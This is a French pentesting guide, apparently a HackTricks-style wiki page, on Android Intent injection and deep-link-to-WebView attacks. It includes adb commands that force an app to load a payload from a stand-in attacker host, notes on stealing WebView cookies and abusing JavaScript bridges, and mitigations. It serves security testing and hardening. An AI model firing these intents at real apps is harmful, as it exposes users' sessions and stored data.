Injection d'Intent

L'injection d'Intent abuse des composants qui acceptent des Intents ou des données contrôlés par l'attaquant qui sont ensuite convertis en Intents. Deux modèles très courants lors des pentests d'applications Android sont :

Passer des extras conçus à des Activités/Services/BroadcastReceivers exportés qui sont ensuite transférés à des composants privilégiés, non exportés.
Déclencher des liens profonds VIEW/BROWSABLE exportés qui transfèrent des URL contrôlées par l'attaquant dans des WebViews internes ou d'autres points sensibles.

Liens profonds → WebView sink (injection de paramètre URL)

Si une application expose un lien profond de schéma personnalisé tel que :

myscheme://com.example.app/web?url=<attacker_url>

et l'Activity réceptrice transmet le paramètre de requête url dans un WebView, vous pouvez forcer l'application à rendre un contenu distant arbitraire dans son propre contexte WebView.

PoC via adb :

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

HTML/JS s'exécute à l'intérieur du profil WebView de l'application.
Si JavaScript est activé (par défaut ou en raison de vérifications mal ordonnées), vous pouvez énumérer/utiliser n'importe quel objet @JavascriptInterface exposé, voler des cookies/local storage de WebView, et pivoter.

Voir aussi :

{{#ref}} webview-attacks.md {{#endref}}

Bug d'ordre de vérifications permettant JavaScript

Un bug récurrent est d'activer JavaScript (ou d'autres paramètres WebView permissifs) avant que la liste blanche/validation de l'URL finale ne soit terminée. Si des helpers précoces acceptent votre deep link et que le WebView est configuré en premier, votre chargement final se produit avec JavaScript déjà activé même si les vérifications ultérieures sont défectueuses ou trop tardives.

Ce qu'il faut rechercher dans le code décompilé :

Plusieurs helpers qui analysent/séparent/reconstruisent l'URL différemment (normalisation incohérente).
Appels à getSettings().setJavaScriptEnabled(true) avant la dernière vérification de la liste blanche de l'hôte/chemin.
Un pipeline comme : analyser → validation partielle → configurer WebView → vérification finale → loadUrl.

Mitigations

Canoniser une fois et valider strictement ; échouer en mode fermé.
N'activer JavaScript qu'après que toutes les vérifications aient réussi et juste avant de charger du contenu de confiance.
Éviter d'exposer des ponts à des origines non fiables.

Autres primitives classiques d'injection d'Intent

startActivity/sendBroadcast utilisant des extras Intent fournis par l'attaquant qui sont ensuite re-analysés (Intent.parseUri(...)) et exécutés.
Composants proxy exportés qui transmettent des Intents à des composants sensibles non exportés sans vérifications de permission.

3.8 KiB Raw Blame History Unescape Escape

Injection d'Intent

Liens profonds → WebView sink (injection de paramètre URL)

Bug d'ordre de vérifications permettant JavaScript

Autres primitives classiques d'injection d'Intent

Références

3.8 KiB

Raw Blame History